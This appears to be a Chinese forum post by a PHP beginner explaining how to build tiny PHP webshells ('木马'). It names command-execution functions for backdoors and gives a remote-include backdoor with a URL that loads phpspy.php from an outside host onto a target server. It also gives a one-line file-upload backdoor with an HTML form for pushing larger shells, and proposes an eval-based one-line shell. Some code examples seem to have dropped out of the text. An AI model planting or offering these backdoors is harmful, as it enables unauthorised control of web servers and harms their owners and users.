【编辑提示】:此文仅供参考学习之用!
本文没有什么特别之处,仅求抛砖引玉。并送给和我一样菜的在PHP门边徘徊的朋友。刚学PHP没几天,我就急于功成,所以有错误及不足之处请大家积极指出。
PHP语法的强大是ASP望尘莫及的,仅一个: phpinfo();?>就可以刺探整个服务器的配置。运行cmd,上传文件等,都是非常简便的,现在用的好的PHP木马,莫过于angel的phpspy了。昨天hak_ban问怎么给PHP木马加密,我还没想到,但是对于写一个微型PHP木马,我想还是很难被杀的。
这里简单探讨一下几个函数可以作为木马的使用:
1. 可以运行外部命令的几个函数:system,passthru,exec,shell_exec,popen。
例:只要将等保存为cmd.php及可实现运行外部命令的功能。这几个函数可以说是最早的微行php木马了,所以一般虚拟主机的设置也会将这些函数屏蔽的。
2.还记得WDB论坛的style.php的漏洞吗?我们可以利用这个做个很难被杀的小木马。如下:
<ccid_code><?php include($include);?></ccid_code> Copy after login |
将其保存为1.php,我们就可以调用其他不支持php服务器里的.php木马(如phpspy.php)来达到我们的目的:http://target.com/1.php? Include=http://www.xxx.com/phpspy.php
这里http://www.918x.com是不支持php的,否则将会在http://www.xxx.com这台服务器运行phpspy.php,而不是目标服务器。
3. 这个还是angel在Discuz 2.2F的攻击中给我们的一个非常好的上传木马,我没有改:
<ccid_code><?copy ($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?></ccid_code> Copy after login |
将其保存为up.php后,在本地提交表单:
<ccid_code><form enctype="multipart/form-data" action="http://%E7%9B%AE%E6%A0%87%E6%9C%8D%E5%8A%A1%E5%99%A8/up.php" method="POST"> <input name="MyFile" type="file"><input value=" 提交 " type="submit"> </form></ccid_code> Copy after login |
就可以把大个的php木马上传上去。
4. 我一直在想有没有同冰狐浪子的那个ASP一句话木马一样通过本地表单提交运行的PHP木马。终于找到了函数:eval,在PHP4中文参考手册上它的语法说明:
语法:
<ccid_code>void eval(string code_str);</ccid_code> Copy after login |
内容说明:本函数可将字符串之中的变量值代入,通常用在处理数据库的资料上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函数处理后的字符串会沿续到 PHP 程序结束。
我们可以在目标主机上保存:为一个PHP文件(我想也可以插在PHP任意文件里)。然后通过本地提交来达到目的,但与ASP不同的是,在magic_quotes_gpc = on的时候,过滤的很多的字符,使得这个使用功能大大的缩小。
对于这个PHP木马本地表单我做了很多次,还没有成熟的代码。还请高手指教。写好后会奉献给大家的。但是eval这个函数可以做微型PHP木马是无须质疑的。
PS:写完后,有人告诉我,其实高手早就有微型的PHP木马了,只是没有公开。哎,我好郁闷啊,研究的都是人家早就有了的成果。不管怎么样,和大家分享一下我的研究,希望能得到帮助和指教。